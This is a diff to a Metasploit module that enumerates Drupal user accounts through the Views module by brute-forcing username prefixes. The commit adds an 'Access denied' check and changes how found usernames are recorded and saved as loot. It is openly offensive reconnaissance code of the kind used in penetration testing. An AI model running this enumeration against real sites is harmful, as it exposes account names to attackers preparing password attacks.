@@ -25,7 +25,7 @@ module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'
25
25
[
26
26
'Justin Klein Keane' , #Original Discovery
27
27
'Robin Francois <rof[at]navixia.com>' ,
28
- 'Brandon McCann "zeknox" <bmccann [at] accuvant.com>'
28
+ 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
29
29
] ,
30
30
'License' => MSF_LICENSE ,
31
31
'References' =>
@@ -50,7 +50,11 @@ def check(base_uri)
50
50
51
51
if not res
52
52
return false
53
- elsif res . message != 'OK' or res . body != '[ ]'
53
+ elsif res and res . body =~ /\< title\> Access denied/
54
+ # This probably means the Views Module actually isn't installed
55
+ print_error ( "#{ rhost } - Access denied" )
56
+ return false
57
+ elsif res and res . message != 'OK' or res . body != '[ ]'
54
58
return false
55
59
else
56
60
return true
@@ -72,7 +76,7 @@ def run_host(ip)
72
76
73
77
# Check if remote host is available or appears vulnerable
74
78
if not check ( enum_uri )
75
- print_status ( "#{ ip } does not appear to be vulnerable, will not continue" )
79
+ print_error ( "#{ ip } does not appear to be vulnerable, will not continue" )
76
80
return
77
81
end
78
82
@@ -109,14 +113,26 @@ def run_host(ip)
109
113
final_results . each do |user |
110
114
print_good ( "Found User: #{ user } " )
111
115
112
- store_loot (
113
- type ,
114
- 'text/plain' ,
115
- Rex ::Socket . getaddress ( datastore [ 'RHOST' ] ) ,
116
- user ,
117
- 'drupal_user.txt' ,
118
- user
116
+ report_auth_info (
117
+ :host => Rex ::Socket . getaddress ( datastore [ 'RHOST' ] ) ,
118
+ :port => datastore [ 'RPORT' ] ,
119
+ :user => user ,
120
+ :type => "drupal_user"
119
121
)
120
122
end
123
+
124
+ # One username per line
125
+ final_results = final_results * "\n "
126
+
127
+ p = store_loot (
128
+ 'drupal_user' ,
129
+ 'text/plain' ,
130
+ Rex ::Socket . getaddress ( datastore [ 'RHOST' ] ) ,
131
+ final_results . to_s ,
132
+ 'drupal_user.txt'
133
+ )
134
+
135
+ print_status ( "Usernames stored in: #{ p } " )
121
136
end
137
+
122
138
end
0 commit comments